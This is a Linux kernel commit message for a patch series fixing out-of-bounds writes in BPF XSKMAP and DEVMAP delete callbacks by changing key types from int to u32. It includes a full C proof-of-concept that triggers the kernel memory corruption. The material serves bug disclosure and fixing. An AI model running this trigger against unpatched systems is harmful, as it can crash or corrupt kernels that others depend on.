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7ca0884200
Maciej Fijalkowski says:
====================
bpf: fix OOB accesses in map_delete_elem callbacks
v1->v2:
- CC stable and collect tags from Toke & John
Hi,
Jordy reported that for big enough XSKMAPs and DEVMAPs, when deleting
elements, OOB writes occur.
Reproducer below:
// compile with gcc -o map_poc map_poc.c -lbpf
#include <errno.h>
#include <linux/bpf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
int main() {
// Create a large enough BPF XSK map
int map_fd;
union bpf_attr create_attr = {
.map_type = BPF_MAP_TYPE_XSKMAP,
.key_size = sizeof(int),
.value_size = sizeof(int),
.max_entries = 0x80000000 + 2,
};
map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &create_attr, sizeof(create_attr));
if (map_fd < 0) {
fprintf(stderr, "Failed to create BPF map: %s\n", strerror(errno));
return 1;
}
// Delete an element from the map using syscall
unsigned int key = 0x80000000 + 1;
if (syscall(SYS_bpf, BPF_MAP_DELETE_ELEM,
&(union bpf_attr){
.map_fd = map_fd,
.key = &key,
},
sizeof(union bpf_attr)) < 0) {
fprintf(stderr, "Failed to delete element from BPF map: %s\n",
strerror(errno));
return 1;
}
close(map_fd);
return 0;
}
This tiny series changes data types from int to u32 of keys being used
for map accesses.
Thanks,
Maciej
====================
Link: https://patch.msgid.link/20241122121030.716788-1-maciej.fijalkowski@intel.com
Signed-off-by: Alexei Starovoitov <ast@kernel.org>
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